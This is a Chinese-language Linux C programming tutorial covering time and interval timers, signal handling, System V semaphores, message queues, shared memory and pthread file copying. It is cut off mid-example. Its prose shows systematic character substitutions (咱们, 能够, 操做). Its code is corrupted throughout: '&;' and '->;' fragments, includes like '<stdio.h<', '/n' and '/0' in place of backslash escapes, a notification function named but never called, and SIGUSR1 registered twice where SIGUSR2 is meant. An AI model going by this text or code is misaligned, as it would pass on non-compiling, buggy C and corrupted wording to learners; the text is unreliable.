char *ctime(const time_t *clock);
time函数返回从 1970 年 1 月 1 日 0点以来的秒数.存储在time_t结构之中.不过这个函数的返
回值对于咱们来讲没有什么实际意义.这个时候咱们使用第二个函数将秒数转化为字符串
.. 这个函数的返回类型是固定的:一个可能值为. Thu Dec 7 14:58:59 2000 这个字符串
的长度是固定的为26
2。时间的测量有时候咱们要计算程序执行的时间.好比咱们要对算法进行时间分析
..这个时候能够使用下面这个函数.
#include <sys/time.h>;

int gettimeofday(struct timeval *tv,struct timezone *tz);
strut timeval {
long tv_sec; /* 秒数 */
long tv_usec; /* 微秒数 */
};
gettimeofday将时间保存在结构tv之中.tz通常咱们使用NULL来代替.
#include <sys/time.h<
#include <stdio.h<
#include <math.h<
void function()
{
unsigned int i,j;
double y;
for(i=0;i<1000;i++)
for(j=0;j<1000;j++)
y=sin((double)i);
}
main()
{
struct timeval tpstart,tpend;
float timeuse;
gettimeofday(&tpstart,NULL);
function();
gettimeofday(&tpend,NULL);
timeuse=1000000*(tpend.tv_sec-tpstart.tv_sec)+
tpend.tv_usec-tpstart.tv_usec;
timeuse/=1000000;
printf("Used Time:%f/n",timeuse);
exit(0);
}
这个程序输出函数的执行时间,咱们能够使用这个来进行系统性能的测试,或者是函数算
法的效率分析.在我机器上的一个输出结果是: Used Time:0.556070
3。计时器的使用 Linux操做系统为每个进程提供了3个内部间隔计时器.
ITIMER_REAL:减小实际时间.到时的时候发出SIGALRM信号.
ITIMER_VIRTUAL:减小有效时间(进程执行的时间).产生SIGVTALRM信号.
ITIMER_PROF:减小进程的有效时间和系统时间(为进程调度用的时间).这个常常和上面一
个使用用来计算系统内核时间和用户时间.产生SIGPROF信号.
具体的操做函数是:
#include <sys/time.h>;
int getitimer(int which,struct itimerval *value);
int setitimer(int which,struct itimerval *newval,
struct itimerval *oldval);
struct itimerval {
struct timeval it_interval;
struct timeval it_value;
}
getitimer函数获得间隔计时器的时间值.保存在value中 setitimer函数设置间隔计时器
的时间值为newval.并将旧值保存在oldval中. which表示使用三个计时器中的哪个.
itimerval结构中的it_value是减小的时间,当这个值为0的时候就发出相应的信号了. 然
后设置为it_interval值.
#include <sys/time.h>;
#include <stdio.h>;
#include <unistd.h>;
#include <signal.h>;
#include <string.h>;
#define PROMPT "时间已通过去了两秒钟/n/a"
char *prompt=PROMPT;
unsigned int len;
void prompt_info(int signo)
{
write(STDERR_FILENO,prompt,len);
}
void init_sigaction(void)
{
struct sigaction act;
act.sa_handler=prompt_info;
act.sa_flags=0;
sigemptyset(&act.sa_mask);
sigaction(SIGPROF,&act,NULL);
}
void init_time()
{
struct itimerval value;
value.it_value.tv_sec=2;
value.it_value.tv_usec=0;
value.it_interval=value.it_value;
setitimer(ITIMER_PROF,&value,NULL);
}
int main()
{
len=strlen(prompt);
init_sigaction();
init_time();
while(1);
exit(0);
}
这个程序每执行两秒中以后会输出一个提示.

5)Linux程序设计入门--信号处理
Linux下的信号事件
前言:这一章咱们讨论一下Linux下的信号处理函数.
Linux下的信号处理函数:
信号的产生
信号的处理
其它信号函数
一个实例
1。信号的产生
Linux下的信号能够类比于DOS下的INT或者是Windows下的事件.在有一个信号发生时
候相信的信号就会发送给相应的进程.在Linux下的信号有如下几个. 咱们使用 kill -l
命令能够获得如下的输出结果:
1) SIGHUP 2) SIGINT 3) SIGQUIT 4) SIGILL
5) SIGTRAP 6) SIGABRT 7) SIGBUS 8) SIGFPE
9) SIGKILL 10) SIGUSR1 11) SIGSEGV 12) SIGUSR2
13) SIGPIPE 14) SIGALRM 15) SIGTERM 17) SIGCHLD
18) SIGCONT 19) SIGSTOP 20) SIGTSTP 21) SIGTTIN
22) SIGTTOU 23) SIGURG 24) SIGXCPU 25) SIGXFSZ
26) SIGVTALRM 27) SIGPROF 28) SIGWINCH 29) SIGIO
30) SIGPWR
关于这些信号的详细解释请查看man 7 signal的输出结果. 信号事件的发生有两个来源
:一个是硬件的缘由(好比咱们按下了键盘),一个是软件的缘由(好比咱们使用系统函数或
者是命令发出信号). 最经常使用的四个发出信号的系统函数是kill, raise, alarm和setit
imer函数. setitimer函数咱们在计时器的使用那一章再学习.
#include <sys/types.h>;
#include <signal.h>;
#include <unistd.h>;
int kill(pid_t pid,int sig);
int raise(int sig);
unisigned int alarm(unsigned int seconds);
kill系统调用负责向进程发送信号sig.
若是pid是正数,那么向信号sig被发送到进程pid.
若是pid等于0,那么信号sig被发送到因此和pid进程在同一个进程组的进程
若是pid等于-1,那么信号发给全部的进程表中的进程,除了最大的哪一个进程号.
若是pid因为-1,和0同样,只是发送进程组是-pid.
咱们用最多的是第一个状况.还记得咱们在守护进程那一节的例子吗?咱们那个时候用这
个函数杀死了父进程守护进程的建立
raise系统调用向本身发送一个sig信号.咱们能够用上面那个函数来实现这个功能的.
alarm函数和时间有点关系了,这个函数能够在seconds秒后向本身发送一个SIGALRM信号
.. 下面这个函数会有什么结果呢?
#include <unistd.h>;
main()
{
unsigned int i;
alarm(1);
for(i=0;1;i++)
printf("I=%d",i);
}
SIGALRM的缺省操做是结束进程,因此程序在1秒以后结束,你能够看看你的最后I值为多少
,来比较一下你们的系统性能差别(个人是2232).
2。信号操做有时候咱们但愿进程正确的执行,而不想进程受到信号的影响,好比我
们但愿上面那个程序在1秒钟以后不结束.这个时候咱们就要进行信号的操做了.
信号操做最经常使用的方法是信号屏蔽.信号屏蔽要用到下面的几个函数.
#include <signal.h>;
int sigemptyset(sigset_t *set);
int sigfillset(sigset_t *set);
int sigaddset(sigset_t *set,int signo);
int sigdelset(sigset_t *set,int signo);
int sigismember(sigset_t *set,int signo);
int sigprocmask(int how,const sigset_t *set,sigset_t *oset);
sigemptyset函数初始化信号集合set,将set设置为空.sigfillset也初始化信号集合,只
是将信号集合设置为全部信号的集合.sigaddset将信号signo加入到信号集合之中,sigd
elset将信号从信号集合中删除.sigismember查询信号是否在信号集合之中.
sigprocmask是最为关键的一个函数.在使用以前要先设置好信号集合set.这个函数的做
用是将指定的信号集合set加入到进程的信号阻塞集合之中去,若是提供了oset那么当前
的进程信号阻塞集合将会保存在oset里面.参数how决定函数的操做方式.
SIG_BLOCK:增长一个信号集合到当前进程的阻塞集合之中.
SIG_UNBLOCK:从当前的阻塞集合之中删除一个信号集合.
SIG_SETMASK:将当前的信号集合设置为信号阻塞集合.
以一个实例来解释使用这几个函数.
#include <signal.h>;
#include <stdio.h>;
#include <math.h>;
#include <stdlib.h>;
int main(int argc,char **argv)
{
double y;
sigset_t intmask;
int i,repeat_factor;
if(argc!=2)
{
fprintf(stderr,"Usage:%s repeat_factor/n/a",argv[0]);
exit(1);
}
if((repeat_factor=atoi(argv[1]))<1)repeat_factor=10;
sigemptyset(&intmask); /* 将信号集合设置为空 */
sigaddset(&intmask,SIGINT); /* 加入中断 Ctrl+C 信号*/
while(1)
{
/*阻塞信号,咱们不但愿保存原来的集合因此参数为NULL*/
sigprocmask(SIG_BLOCK,&intmask,NULL);
fprintf(stderr,"SIGINT signal blocked/n");
for(i=0;i<repeat_factor;i++)y=sin((double)i);
fprintf(stderr,"Blocked calculation is finished/n");
/* 取消阻塞 */
sigprocmask(SIG_UNBLOCK,&intmask,NULL);
fprintf(stderr,"SIGINT signal unblocked/n");
for(i=0;i<repeat_factor;i++)y=sin((double)i);
fprintf(stderr,"Unblocked calculation is finished/n");
}
exit(0);
}
程序在运行的时候咱们要使用Ctrl+C来结束.若是咱们在第一计算的时候发出SIGINT信号
,因为信号已经屏蔽了,因此程序没有反映.只有到信号被取消阻塞的时候程序才会结束.
注意咱们只要发出一次SIGINT信号就能够了,由于信号屏蔽只是将信号加入到信号阻塞
集合之中,并无丢弃这个信号.一旦信号屏蔽取消了,这个信号就会发生做用.
有时候咱们但愿对信号做出及时的反映的,好比当拥护按下Ctrl+C时,咱们不想什么事情
也不作,咱们想告诉用户你的这个操做很差,请不要重试,而不是什么反映也没有的. 这个
时候咱们要用到sigaction函数.
#include <signal.h>;

int sigaction(int signo,const struct sigaction *act,
struct sigaction *oact);
struct sigaction {
void (*sa_handler)(int signo);
void (*sa_sigaction)(int siginfo_t *info,void *act);
sigset_t sa_mask;
int sa_flags;
void (*sa_restore)(void);
}
这个函数和结构看起来是否是有点恐怖呢.不要被这个吓着了,其实这个函数的使用至关
简单的.咱们先解释一下各个参数的含义. signo很简单就是咱们要处理的信号了,能够是
任何的合法的信号.有两个信号不可以使用(SIGKILL和SIGSTOP). act包含咱们要对这个
信号进行如何处理的信息.oact更简单了就是之前对这个函数的处理信息了,主要用来保
存信息的,通常用NULL就OK了.
信号结构有点复杂.没关系咱们慢慢的学习.
sa_handler是一个函数型指针,这个指针指向一个函数,这个函数有一个参数.这个函数就
是咱们要进行的信号操做的函数. sa_sigaction,sa_restore和sa_handler差很少的,只
是参数不一样罢了.这两个元素咱们不多使用,就无论了.
sa_flags用来设置信号操做的各个状况.通常设置为0好了.sa_mask咱们已经学习过了
在使用的时候咱们用sa_handler指向咱们的一个信号操做函数,就能够了.sa_handler有
两个特殊的值:SIG_DEL和SIG_IGN.SIG_DEL是使用缺省的信号操做函数,而SIG_IGN是使用
忽略该信号的操做函数.
这个函数复杂,咱们使用一个实例来讲明.下面这个函数能够捕捉用户的CTRL+C信号.并输
出一个提示语句.
#include <signal.h>;
#include <stdio.h>;
#include <string.h>;
#include <errno.h>;
#include <unistd.h>;
#define PROMPT "你想终止程序吗?"
char *prompt=PROMPT;
void ctrl_c_op(int signo)
{
write(STDERR_FILENO,prompt,strlen(prompt));
}
int main()
{
struct sigaction act;
act.sa_handler=ctrl_c_op;
sigemptyset(&act.sa_mask);
act.sa_flags=0;
if(sigaction(SIGINT,&act,NULL)<0)
{
fprintf(stderr,"Install Signal Action Error:%s/n/a",strerror(errno));
exit(1);
}
while(1);
}
在上面程序的信号操做函数之中,咱们使用了write函数而没有使用fprintf函数.是由于
咱们要考虑到下面这种状况.若是咱们在信号操做的时候又有一个信号发生,那么程序该
如何运行呢? 为了处理在信号处理函数运行的时候信号的发生,咱们须要设置sa_mask成
员. 咱们将咱们要屏蔽的信号添加到sa_mask结构当中去,这样这些函数在信号处理的时
候就会被屏蔽掉的.
3。其它信号函数因为信号的操做和处理比较复杂,咱们再介绍几个信号操做函数.

#include <unistd.h>;
#include <signal.h>;
int pause(void);
int sigsuspend(const sigset_t *sigmask);
pause函数很简单,就是挂起进程直到一个信号发生了.而sigsuspend也是挂起进程只是在
调用的时候用sigmask取代当前的信号阻塞集合.
#include <sigsetjmp>;
int sigsetjmp(sigjmp_buf env,int val);
void siglongjmp(sigjmp_buf env,int val);
还记得goto函数或者是setjmp和longjmp函数吗.这两个信号跳转函数也能够实现程序的
跳转让咱们能够从函数之中跳转到咱们须要的地方.
因为上面几个函数,咱们不多遇到,因此只是说明了一下,详细状况请查看联机帮助.
4。一个实例还记得咱们在守护进程建立的哪一个程序吗?守护进程在这里咱们把那个
程序增强一下. 下面这个程序会在也能够检查用户的邮件.不过提供了一个开关,若是用
户不想程序提示有新的邮件到来,能够向程序发送SIGUSR2信号,若是想程序提供提示能够
发送SIGUSR1信号.
#include <unistd.h>;
#include <stdio.h>;
#include <errno.h>;
#include <fcntl.h>;
#include <signal.h>;
#include <string.h>;
#include <pwd.h>;
#include <sys/types.h>;
#include <sys/stat.h>;
/* Linux 的默任我的的邮箱地址是 /var/spool/mail/ */
#define MAIL_DIR "/var/spool/mail/"
/* 睡眠10秒钟 */
#define SLEEP_TIME 10
#define MAX_FILENAME 255
unsigned char notifyflag=1;
long get_file_size(const char *filename)
{
struct stat buf;
if(stat(filename,&;buf)==-1)
{
if(errno==ENOENT)return 0;
else return -1;
}
return (long)buf.st_size;
}
void send_mail_notify(void)
{
fprintf(stderr,"New mail has arrived/007/n");
}
void turn_on_notify(int signo)
{
notifyflag=1;
}
void turn_off_notify(int signo)
{
notifyflag=0;
}
int check_mail(const char *filename)
{
long old_mail_size,new_mail_size;
sigset_t blockset,emptyset;
sigemptyset(&;blockset);
sigemptyset(&;emptyset);
sigaddset(&;blockset,SIGUSR1);
sigaddset(&;blockset,SIGUSR2);
old_mail_size=get_file_size(filename);
if(old_mail_size<0)return 1;
if(old_mail_size>;0) send_mail_notify();
sleep(SLEEP_TIME);
while(1)
{
if(sigprocmask(SIG_BLOCK,&;blockset,NULL)<0) return 1;
while(notifyflag==0)sigsuspend(&;emptyset);
if(sigprocmask(SIG_SETMASK,&;emptyset,NULL)<0) return 1;
new_mail_size=get_file_size(filename);
if(new_mail_size>;old_mail_size)send_mail_notify;
old_mail_size=new_mail_size;
sleep(SLEEP_TIME);
}
}
int main(void)
{
char mailfile[MAX_FILENAME];
struct sigaction newact;
struct passwd *pw;
if((pw=getpwuid(getuid()))==NULL)
{
fprintf(stderr,"Get Login Name Error:%s/n/a",strerror(errno));
exit(1);
}
strcpy(mailfile,MAIL_DIR);
strcat(mailfile,pw->;pw_name);
newact.sa_handler=turn_on_notify;
newact.sa_flags=0;
sigemptyset(&;newact.sa_mask);
sigaddset(&;newact.sa_mask,SIGUSR1);
sigaddset(&;newact.sa_mask,SIGUSR2);
if(sigaction(SIGUSR1,&;newact,NULL)<0)
fprintf(stderr,"Turn On Error:%s/n/a",strerror(errno));
newact.sa_handler=turn_off_notify;
if(sigaction(SIGUSR1,&;newact,NULL)<0)
fprintf(stderr,"Turn Off Error:%s/n/a",strerror(errno));
check_mail(mailfile);
exit(0);
}
信号操做是一件很是复杂的事情,比咱们想象之中的复杂程度还要复杂,若是你想完全的
弄清楚信号操做的各个问题,那么除了大量的练习之外还要多看联机手册.不过若是咱们
只是通常的使用的话,有了上面的几个函数也就差很少了. 咱们就介绍到这里了.

6)Linux程序设计入门--消息管理
前言:Linux下的进程通讯(IPC)
Linux下的进程通讯(IPC)
POSIX无名信号量
System V信号量
System V消息队列
System V共享内存
1。POSIX无名信号量若是你学习过操做系统,那么确定熟悉PV操做了.PV操做是原子
操做.也就是操做是不能够中断的,在必定的时间内,只可以有一个进程的代码在CPU上面
执行.在系统当中,有时候为了顺利的使用和保护共享资源,你们提出了信号的概念. 假设
咱们要使用一台打印机,若是在同一时刻有两个进程在向打印机输出,那么最终的结果会
是什么呢.为了处理这种状况,POSIX标准提出了有名信号量和无名信号量的概念,因为Li
nux只实现了无名信号量,咱们在这里就只是介绍无名信号量了. 信号量的使用主要是用
来保护共享资源,使的资源在一个时刻只有一个进程所拥有.为此咱们能够使用一个信号
灯.当信号灯的值为某个值的时候,就代表此时资源不能够使用.不然就表>;示能够使用.
为了提供效率,系统提供了下面几个函数
POSIX的无名信号量的函数有如下几个:
#include <semaphore.h>;
int sem_init(sem_t *sem,int pshared,unsigned int value);
int sem_destroy(sem_t *sem);
int sem_wait(sem_t *sem);
int sem_trywait(sem_t *sem);
int sem_post(sem_t *sem);
int sem_getvalue(sem_t *sem);
sem_init建立一个信号灯,并初始化其值为value.pshared决定了信号量可否在几个进程
间共享.因为目前Linux尚未实现进程间共享信号灯,因此这个值只可以取0. sem_dest
roy是用来删除信号灯的.sem_wait调用将阻塞进程,直到信号灯的值大于0.这个函数返回
的时候自动的将信号灯的值的件一.sem_post和sem_wait相反,是将信号灯的内容加一同
时发出信号唤醒等待的进程..sem_trywait和sem_wait相同,不过不阻塞的,当信号灯的值
为0的时候返回EAGAIN,表示之后重试.sem_getvalue获得信号灯的值.
因为Linux不支持,咱们没有办法用源程序解释了.
这几个函数的使用至关简单的.好比咱们有一个程序要向一个系统打印机打印两页.咱们
首先建立一个信号灯,并使其初始值为1,表示咱们有一个资源可用.而后一个进程调用se
m_wait因为这个时候信号灯的值为1,因此这个函数返回,打印机开始打印了,同时信号灯
的值为0 了. 若是第二个进程要打印,调用sem_wait时候,因为信号灯的值为0,资源不可
用,因而被阻塞了.当第一个进程打印完成之后,调用sem_post信号灯的值为1了,这个时候
系统通知第二个进程,因而第二个进程的sem_wait返回.第二个进程开始打印了.
不过咱们能够使用线程来解决这个问题的.咱们会在后面解释什么是线程的.编译包含上
面这几个函数的程序要加上 -lrt选贤,以链接librt.so库
2。System V信号量为了解决上面哪一个问题,咱们也能够使用System V信号量.很幸运的
是Linux实现了System V信号量.这样咱们就能够用实例来解释了. System V信号量的函
数主要有下面几个.
#include <sys/types.h>;
#include <sys/ipc.h>;
#include <sys/sem.h>;
key_t ftok(char *pathname,char proj);
int semget(key_t key,int nsems,int semflg);
int semctl(int semid,int semnum,int cmd,union semun arg);
int semop(int semid,struct sembuf *spos,int nspos);
struct sembuf {
short sem_num; /* 使用那一个信号 */
short sem_op; /* 进行什么操做 */
short sem_flg; /* 操做的标志 */
};
ftok函数是根据pathname和proj来建立一个关键字.semget建立一个信号量.成功时返回
信号的ID,key是一个关键字,能够是用ftok建立的也能够是IPC_PRIVATE代表由系统选用
一个关键字. nsems代表咱们建立的信号个数.semflg是建立的权限标志,和咱们建立一个
文件的标志相同.
semctl对信号量进行一系列的控制.semid是要操做的信号标志,semnum是信号的个数,cm
d是操做的命令.常常用的两个值是:SETVAL(设置信号量的值)和IPC_RMID(删除信号灯).
arg是一个给cmd的参数.
semop是对信号进行操做的函数.semid是信号标志,spos是一个操做数组代表要进行什么
操做,nspos代表数组的个数. 若是sem_op大于0,那么操做将sem_op加入到信号量的值中
,并唤醒等待信号增长的进程. 若是为0,当信号量的值是0的时候,函数返回,不然阻塞直
到信号量的值为0. 若是小于0,函数判断信号量的值加上这个负值.若是结果为0唤醒等待
信号量为0的进程,若是小与0函数阻塞.若是大于0,那么从信号量里面减去这个值并返回
..
下面咱们一以一个实例来讲明这几个函数的使用方法.这个程序用标准错误输出来代替我
们用的打印机.
#include <stdio.h>;
#include <unistd.h>;
#include <limits.h>;
#include <errno.h>;
#include <string.h>;
#include <stdlib.h>;
#include <sys/stat.h>;
#include <sys/wait.h>;
#include <sys/ipc.h>;
#include <sys/sem.h>;
#define PERMS S_IRUSR|S_IWUSR
void init_semaphore_struct(struct sembuf *sem,int semnum,
int semop,int semflg)
{
/* 初始话信号灯结构 */
sem->;sem_num=semnum;
sem->;sem_op=semop;
sem->;sem_flg=semflg;
}
int del_semaphore(int semid)
{
/* 信号灯并不随程序的结束而被删除,若是咱们没删除的话(将1改成0)
能够用ipcs命令查看到信号灯,用ipcrm能够删除信号灯的
*/
#if 1
return semctl(semid,0,IPC_RMID);
#endif
}
int main(int argc,char **argv)
{
char buffer[MAX_CANON],*c;
int i,n;
int semid,semop_ret,status;
pid_t childpid;
struct sembuf semwait,semsignal;
if((argc!=2)||((n=atoi(argv[1]))<1))
{
fprintf(stderr,"Usage:%s number/n/a",argv[0]);
exit(1);
}
/* 使用IPC_PRIVATE 表示由系统选择一个关键字来建立 */
/* 建立之后信号灯的初始值为0 */
if((semid=semget(IPC_PRIVATE,1,PERMS))==-1)
{
fprintf(stderr,"[%d]:Acess Semaphore Error:%s/n/a",
getpid(),strerror(errno));
exit(1);
}
/* semwait是要求资源的操做(-1) */
init_semaphore_struct(&semwait,0,-1,0);
/* semsignal是释放资源的操做(+1) */
init_semaphore_struct(&semsignal,0,1,0);
/* 开始的时候有一个系统资源(一个标准错误输出) */
if(semop(semid,&semsignal,1)==-1)
{
fprintf(stderr,"[%d]:Increment Semaphore Error:%s/n/a",
getpid(),strerror(errno));
if(del_semaphore(semid)==-1)
fprintf(stderr,"[%d]:Destroy Semaphore Error:%s/n/a",
getpid(),strerror(errno));
exit(1);
}
/* 建立一个进程链 */
for(i=0;i<n;i++)
if(childpid=fork()) break;
sprintf(buffer,"[i=%d]-->;[Process=%d]-->;[Parent=%d]-->;[Child=%d]/n",
i,getpid(),getppid(),childpid);
c=buffer;
/* 这里要求资源,进入原子操做 */
while(((semop_ret=semop(semid,&semwait,1))==-1)&&(errno==EINTR));
if(semop_ret==-1)
{
fprintf(stderr,"[%d]:Decrement Semaphore Error:%s/n/a",
getpid(),strerror(errno));
}
else
{
while(*c!='/0')fputc(*c++,stderr);
/* 原子操做完成,赶快释放资源 */
while(((semop_ret=semop(semid,&semsignal,1))==-1)&&(errno==EINTR));
if(semop_ret==-1)
fprintf(stderr,"[%d]:Increment Semaphore Error:%s/n/a",
getpid(),strerror(errno));
}
/* 不可以在其余进程反问信号灯的时候,咱们删除了信号灯 */
while((wait(&status)==-1)&&(errno==EINTR));
/* 信号灯只可以被删除一次的 */
if(i==1)
if(del_semaphore(semid)==-1)
fprintf(stderr,"[%d]:Destroy Semaphore Error:%s/n/a",
getpid(),strerror(errno));
exit(0);
}
信号灯的主要用途是保护临界资源(在一个时刻只被一个进程所拥有).
3。SystemV消息队列为了便于进程之间通讯,咱们能够使用管道通讯 SystemV也提供了
一些函数来实现进程的通讯.这就是消息队列.
#include <sys/types.h>;
#include <sys/ipc.h>;
#include <sys/msg.h>;
int msgget(key_t key,int msgflg);
int msgsnd(int msgid,struct msgbuf *msgp,int msgsz,int msgflg);
int msgrcv(int msgid,struct msgbuf *msgp,int msgsz,
long msgtype,int msgflg);
int msgctl(Int msgid,int cmd,struct msqid_ds *buf);

struct msgbuf {
long msgtype; /* 消息类型 */
....... /* 其余数据类型 */
}
msgget函数和semget同样,返回一个消息队列的标志.msgctl和semctl是对消息进行控制
.. msgsnd和msgrcv函数是用来进行消息通信的.msgid是接受或者发送的消息队列标志.
msgp是接受或者发送的内容.msgsz是消息的大小. 结构msgbuf包含的内容是至少有一个
为msgtype.其余的成分是用户定义的.对于发送函数msgflg指出缓冲区用完时候的操做.
接受函数指出无消息时候的处理.通常为0. 接收函数msgtype指出接收消息时候的操做.

若是msgtype=0,接收消息队列的第一个消息.大于0接收队列中消息类型等于这个值的第
一个消息.小于0接收消息队列中小于或者等于msgtype绝对值的全部消息中的最小一个消
息. 咱们以一个实例来解释进程通讯.下面这个程序有server和client组成.先运行服务
端后运行客户端.
服务端 server.c
#include <stdio.h>;
#include <string.h>;
#include <stdlib.h>;
#include <errno.h>;
#include <unistd.h>;
#include <sys/types.h>;
#include <sys/ipc.h>;
#include <sys/stat.h>;
#include <sys/msg.h>;
#define MSG_FILE "server.c"
#define BUFFER 255
#define PERM S_IRUSR|S_IWUSR
struct msgtype {
long mtype;
char buffer[BUFFER+1];
};
int main()
{
struct msgtype msg;
key_t key;
int msgid;
if((key=ftok(MSG_FILE,'a'))==-1)
{
fprintf(stderr,"Creat Key Error:%s/a/n",strerror(errno));
exit(1);
}
if((msgid=msgget(key,PERM|IPC_CREAT|IPC_EXCL))==-1)
{
fprintf(stderr,"Creat Message Error:%s/a/n",strerror(errno));
exit(1);
}
while(1)
{
msgrcv(msgid,&msg,sizeof(struct msgtype),1,0);
fprintf(stderr,"Server Receive:%s/n",msg.buffer);
msg.mtype=2;
msgsnd(msgid,&msg,sizeof(struct msgtype),0);
}
exit(0);
}
----------------------------------------------------------------------------
----
客户端(client.c)
#include <stdio.h>;
#include <string.h>;
#include <stdlib.h>;
#include <errno.h>;
#include <sys/types.h>;
#include <sys/ipc.h>;
#include <sys/msg.h>;
#include <sys/stat.h>;
#define MSG_FILE "server.c"
#define BUFFER 255
#define PERM S_IRUSR|S_IWUSR
struct msgtype {
long mtype;
char buffer[BUFFER+1];
};
int main(int argc,char **argv)
{
struct msgtype msg;
key_t key;
int msgid;
if(argc!=2)
{
fprintf(stderr,"Usage:%s string/n/a",argv[0]);
exit(1);
}
if((key=ftok(MSG_FILE,'a'))==-1)
{
fprintf(stderr,"Creat Key Error:%s/a/n",strerror(errno));
exit(1);
}
if((msgid=msgget(key,PERM))==-1)
{
fprintf(stderr,"Creat Message Error:%s/a/n",strerror(errno));
exit(1);
}
msg.mtype=1;
strncpy(msg.buffer,argv[1],BUFFER);
msgsnd(msgid,&msg,sizeof(struct msgtype),0);
memset(&msg,'/0',sizeof(struct msgtype));
msgrcv(msgid,&msg,sizeof(struct msgtype),2,0);
fprintf(stderr,"Client receive:%s/n",msg.buffer);
exit(0);
}
注意服务端建立的消息队列最后没有删除,咱们要使用ipcrm命令来删除的.
4。SystemV共享内存还有一个进程通讯的方法是使用共享内存.SystemV提供了如下几个
函数以实现共享内存.
#include <sys/types.h>;
#include <sys/ipc.h>;
#include <sys/shm.h>;
int shmget(key_t key,int size,int shmflg);
void *shmat(int shmid,const void *shmaddr,int shmflg);
int shmdt(const void *shmaddr);
int shmctl(int shmid,int cmd,struct shmid_ds *buf);
shmget和shmctl没有什么好解释的.size是共享内存的大小. shmat是用来链接共享内存
的.shmdt是用来断开共享内存的.不要被共享内存词语吓倒,共享内存其实很容易实现和
使用的.shmaddr,shmflg咱们只要用0代替就能够了.在使用一个共享内存以前咱们调用s
hmat获得共享内存的开始地址,使用结束之后咱们使用shmdt断开这个内存.
#include <stdio.h>;
#include <string.h>;
#include <errno.h>;
#include <unistd.h>;
#include <sys/stat.h>;
#include <sys/types.h>;
#include <sys/ipc.h>;
#include <sys/shm.h>;
#define PERM S_IRUSR|S_IWUSR
int main(int argc,char **argv)
{
int shmid;
char *p_addr,*c_addr;
if(argc!=2)
{
fprintf(stderr,"Usage:%s/n/a",argv[0]);
exit(1);
}
if((shmid=shmget(IPC_PRIVATE,1024,PERM))==-1)
{
fprintf(stderr,"Create Share Memory Error:%s/n/a",strerror(errno));
exit(1);
}
if(fork())
{
p_addr=shmat(shmid,0,0);
memset(p_addr,'/0',1024);
strncpy(p_addr,argv[1],1024);
exit(0);
}
else
{
c_addr=shmat(shmid,0,0);
printf("Client get %s",c_addr);
exit(0);
}
}
这个程序是父进程将参数写入到共享内存,而后子进程把内容读出来.最后咱们要使用ip
crm释放资源的.先用ipcs找出ID而后用ipcrm shm ID删除.
后记:
进程通讯(IPC)是网络程序的基础,在不少的网络程序当中会大量的使用进程通讯的概念
和知识.其实进程通讯是一件很是复杂的事情,我在这里只是简单的介绍了一下.若是你想
学习进程通讯的详细知识,最好的办法是本身不断的写程序和看联机手册.如今网络上有
了不少的知识能够去参考.惋惜我看到的不少都是英文编写的.若是你找到了有中文的版
本请尽快告诉我.谢谢!

7)Linux程序设计入门--线程操做
前言:Linux下线程的建立
介绍在Linux下线程的建立和基本的使用. Linux下的线程是一个很是复杂的问题,由
于我对线程的学习不时很好,我在这里只是简单的介绍线程的建立和基本的使用,关于线
程的高级使用(如线程的属性,线程的互斥,线程的同步等等问题)能够参考我后面给出的
资料. 如今关于线程的资料在网络上能够找到许多英文资料,后面我罗列了许多连接,对
线程的高级属性感兴趣的话能够参考一下. 等到我对线程的了解比较深入的时候,我回来
完成这篇文章.若是您对线程了解的详尽我也很是高兴可以由您来完善.
先介绍什么是线程.咱们编写的程序大多数能够当作是单线程的.就是程序是按照必定的
顺序来执行.若是咱们使用线程的话,程序就会在咱们建立线成的地方分叉,变成两个"程
序"在执行.粗略的看来好象和子进程差很少的,其实否则.子进程是经过拷贝父进程的地
址空间来执行的.而线程是经过共享程序代码来执行的,讲的通俗一点就是线程的相同的
代码会被执行几回.使用线程的好处是能够节省资源,因为线程是经过共享代码的,因此没
有进程调度那么复杂.
线程的建立和使用
线程的建立是用下面的几个函数来实现的.
#include <pthread.h>;
int pthread_create(pthread_t *thread,pthread_attr_t *attr,
void *(*start_routine)(void *),void *arg);
void pthread_exit(void *retval);
int pthread_join(pthread *thread,void **thread_return);
pthread_create建立一个线程,thread是用来代表建立线程的ID,attr指出线程建立时候
的属性,咱们用NULL来代表使用缺省属性.start_routine函数指针是线程建立成功后开始
执行的函数,arg是这个函数的惟一一个参数.代表传递给start_routine的参数. pthrea
d_exit函数和exit函数相似用来退出线程.这个函数结束线程,释放函数的资源,并在最后
阻塞,直到其余线程使用pthread_join函数等待它.而后将*retval的值传递给**thread_
return.因为这个函数释放因此的函数资源,因此retval不可以指向函数的局部变量. pt
hread_join和wait调用同样用来等待指定的线程. 下面咱们使用一个实例来解释一下使
用方法.在实践中,咱们常常要备份一些文件.下面这个程序能够实现当前目录下的全部文
件备份.备份后的后缀名为bak
#include <stdio.h>;
#include <unistd.h>;
#include <stdlib.h>;
#include <string.h>;
#include <errno.h>;
#include <pthread.h>;
#include <dirent.h>;
#include <fcntl.h>;
#include <sys/types.h>;
#include <sys/stat.h>;
#include <sys/time.h>;
#define BUFFER 512
struct copy_file {
int infile;
int outfile;
};
void *copy(void *arg)
{
int infile,outfile;
int bytes_read,bytes_write,*bytes_copy_p;
char buffer[BUFFER],*buffer_p;
struct copy_file *file=(struct copy_file *)arg;
infile=file->;infile;
outfile=file->;outfile;
/* 由于线程退出时,全部的变量空间都要被释放,因此咱们只好本身分配内存了 */
if((bytes_copy_p=(int *)malloc(sizeof(int)))==NULL) pthread_exit(NULL);
bytes_read=bytes_write=0;
*bytes_copy_p=0;
/* 还记得怎么拷贝文件吗 */
while((bytes_read=read(infile,buffer,BUFFER))!=0)
{
if((bytes_read==-1)&&(errno!=EINTR))break;
else if(bytes_read>;0)
{
buffer_p=buffer;
while((bytes_write=write(outfile,buffer_p,bytes_read))!=0)
{
if((bytes_write==-1)&&(errno!=EINTR))break;
else if(bytes_write==bytes_read)break;
else if(bytes_write>;0)
{
buffer_p+=bytes_write;
bytes_read-=bytes_write;
}
}
if(bytes_write==-1)break;
*bytes_copy_p+=bytes_read;
}
}
close(infile);
close(outfile);
pthread_exit(bytes_copy_p);
}
int main(int argc,char **argv)
{
pthread_t *thread;
struct copy_file *file;
int byte_copy,*byte_copy_p,num,i,j;
char filename[BUFFER];
struct dirent **namelist;
struct stat filestat;
/* 获得当前路径下面全部的文件(包含目录)的个数 */
if((num=scandir(".",&namelist,0,alphasort))<0)
{
fprintf(stderr,"Get File Num Error:%s/n/a",strerror(errno));
exit(1);
}
/* 给线程分配空间,其实没有必要这么多的 */
if(((thread=(pthread_t *)malloc(sizeof(pthread_t)*num))==NULL)||
((file=(struct copy_file *)malloc(sizeof(struct copy_file)*num))==NULL)
)
{
fprintf(stderr,"Out Of Memory!/n/a");
exit(1);
